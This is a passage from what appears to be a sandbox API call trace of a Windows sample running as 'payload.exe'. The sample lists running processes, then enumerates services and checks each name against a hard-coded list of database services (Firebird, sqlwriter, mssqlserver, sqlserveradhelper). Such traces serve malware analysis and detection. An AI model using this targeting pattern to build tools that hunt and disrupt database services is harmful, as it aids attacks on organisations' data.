lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.219] lstrlenW (lpString="svchost.exe") returned 11 [0160.219] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.219] lstrlenW (lpString="svchost.exe") returned 11 [0160.219] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.220] lstrlenW (lpString="svchost.exe") returned 11 [0160.220] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0160.220] lstrlenW (lpString="spoolsv.exe") returned 11 [0160.220] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.221] lstrlenW (lpString="svchost.exe") returned 11 [0160.221] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0160.221] lstrlenW (lpString="audiodg.exe") returned 11 [0160.221] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0160.222] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0160.222] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0160.223] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0160.223] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0160.223] lstrlenW (lpString="Memory Compression") returned 18 [0160.223] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0160.224] lstrlenW (lpString="sihost.exe") returned 10 [0160.224] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.224] lstrlenW (lpString="svchost.exe") returned 11 [0160.224] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0160.225] lstrlenW (lpString="taskhostw.exe") returned 13 [0160.225] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0160.226] lstrlenW (lpString="msoia.exe") returned 9 [0160.226] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0160.226] lstrlenW (lpString="explorer.exe") returned 12 [0160.226] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0160.227] lstrlenW (lpString="SearchUI.exe") returned 12 [0160.227] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0160.227] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0160.227] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0160.228] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0160.228] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0160.229] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0160.229] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0160.229] lstrlenW (lpString="payload.exe") returned 11 [0160.229] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0160.230] lstrlenW (lpString="conhost.exe") returned 11 [0160.230] Process32NextW (in: hSnapshot=0x300, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0160.230] CloseHandle (hObject=0x300) returned 1 [0160.230] Sleep (dwMilliseconds=0x1f4) [0160.913] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69d9c0 [0160.914] EnumServicesStatusExW (in: hSCManager=0x69d9c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0160.914] GetLastError () returned 0xea [0160.914] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x42479b0 [0160.915] EnumServicesStatusExW (in: hSCManager=0x69d9c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42479b0, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42479b0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0160.915] CloseServiceHandle (hSCObject=0x69d9c0) returned 1 [0160.915] lstrlenW (lpString="Appinfo") returned 7 [0160.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0160.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0160.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0160.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0160.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0160.916] lstrlenW (lpString="AppXSvc") returned 7 [0160.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0160.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0160.916] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0160.916] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0160.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0160.916] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0160.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.916] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0160.916] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0160.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0160.916] lstrlenW (lpString="Audiosrv") returned 8 [0160.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0160.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0160.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0160.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0160.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0160.916] lstrlenW (lpString="BFE") returned 3 [0160.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0160.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0160.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0160.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0160.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0160.916] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0160.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.916] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0160.916] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0160.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0160.916] lstrlenW (lpString="CDPSvc") returned 6 [0160.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0160.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0160.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0160.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0160.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0160.917] lstrlenW (lpString="ClickToRunSvc") returned 13 [0160.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.917] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0160.917] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0160.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0160.917] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0160.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0160.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0160.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0160.917] lstrlenW (lpString="CryptSvc") returned 8 [0160.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0160.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0160.917] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0160.917] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0160.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0160.917] lstrlenW (lpString="DcomLaunch") returned 10 [0160.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.917] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0160.917] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0160.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0160.917] lstrlenW (lpString="DeviceAssociationService") returned 24 [0160.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0160.917] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0160.917] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0160.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0160.917] lstrlenW (lpString="Dhcp") returned 4 [0160.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0160.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0160.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0160.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0160.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0160.918] lstrlenW (lpString="Dnscache") returned 8 [0160.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0160.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0160.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0160.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0160.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0160.918] lstrlenW (lpString="DPS") returned 3 [0160.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0160.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0160.918] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0160.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0160.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0160.918] lstrlenW (lpString="DusmSvc") returned 7 [0160.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0160.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0160.918] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0160.918] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0160.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0160.918] lstrlenW (lpString="EventLog") returned 8 [0160.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0160.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0160.918] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0160.918] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0160.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0160.918] lstrlenW (lpString="EventSystem") returned 11 [0160.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0160.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0160.918] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0160.918] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0160.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0160.919] lstrlenW (lpString="FontCache") returned 9 [0160.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0160.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0160.919] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0160.919] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0160.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0160.919] lstrlenW (lpString="gpsvc") returned 5 [0160.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0160.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0160.919] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0160.919] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0160.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0160.919] lstrlenW (lpString="iphlpsvc") returned 8 [0160.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.919] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0160.919] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0160.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0160.919] lstrlenW (lpString="KeyIso") returned 6 [0160.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0160.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0160.919] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0160.919] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0160.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0160.919] lstrlenW (lpString="LanmanServer") returned 12 [0160.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.919] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.919] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.919] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.919] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.920] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.920] lstrlenW (lpString="lfsvc") returned 5 [0160.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0160.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0160.920] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0160.920] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0160.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0160.920] lstrlenW (lpString="lmhosts") returned 7 [0160.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.920] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.920] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.920] lstrlenW (lpString="LSM") returned 3 [0160.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0160.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0160.920] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0160.920] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0160.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0160.920] lstrlenW (lpString="MpsSvc") returned 6 [0160.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.920] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.920] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.920] lstrlenW (lpString="NcbService") returned 10 [0160.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0160.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0160.920] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0160.920] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0160.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0160.920] lstrlenW (lpString="netprofm") returned 8 [0160.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.921] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.921] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.921] lstrlenW (lpString="NgcSvc") returned 6 [0160.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0160.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0160.921] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0160.921] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0160.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0160.921] lstrlenW (lpString="NlaSvc") returned 6 [0160.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.921] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.921] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.921] lstrlenW (lpString="nsi") returned 3 [0160.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.921] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.921] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.921] lstrlenW (lpString="PcaSvc") returned 6 [0160.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.921] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.921] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.921] lstrlenW (lpString="PlugPlay") returned 8 [0160.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.921] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.921] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.921] lstrlenW (lpString="Power") returned 5 [0160.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.922] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.922] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.922] lstrlenW (lpString="ProfSvc") returned 7 [0160.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.922] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.922] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.922] lstrlenW (lpString="RpcEptMapper") returned 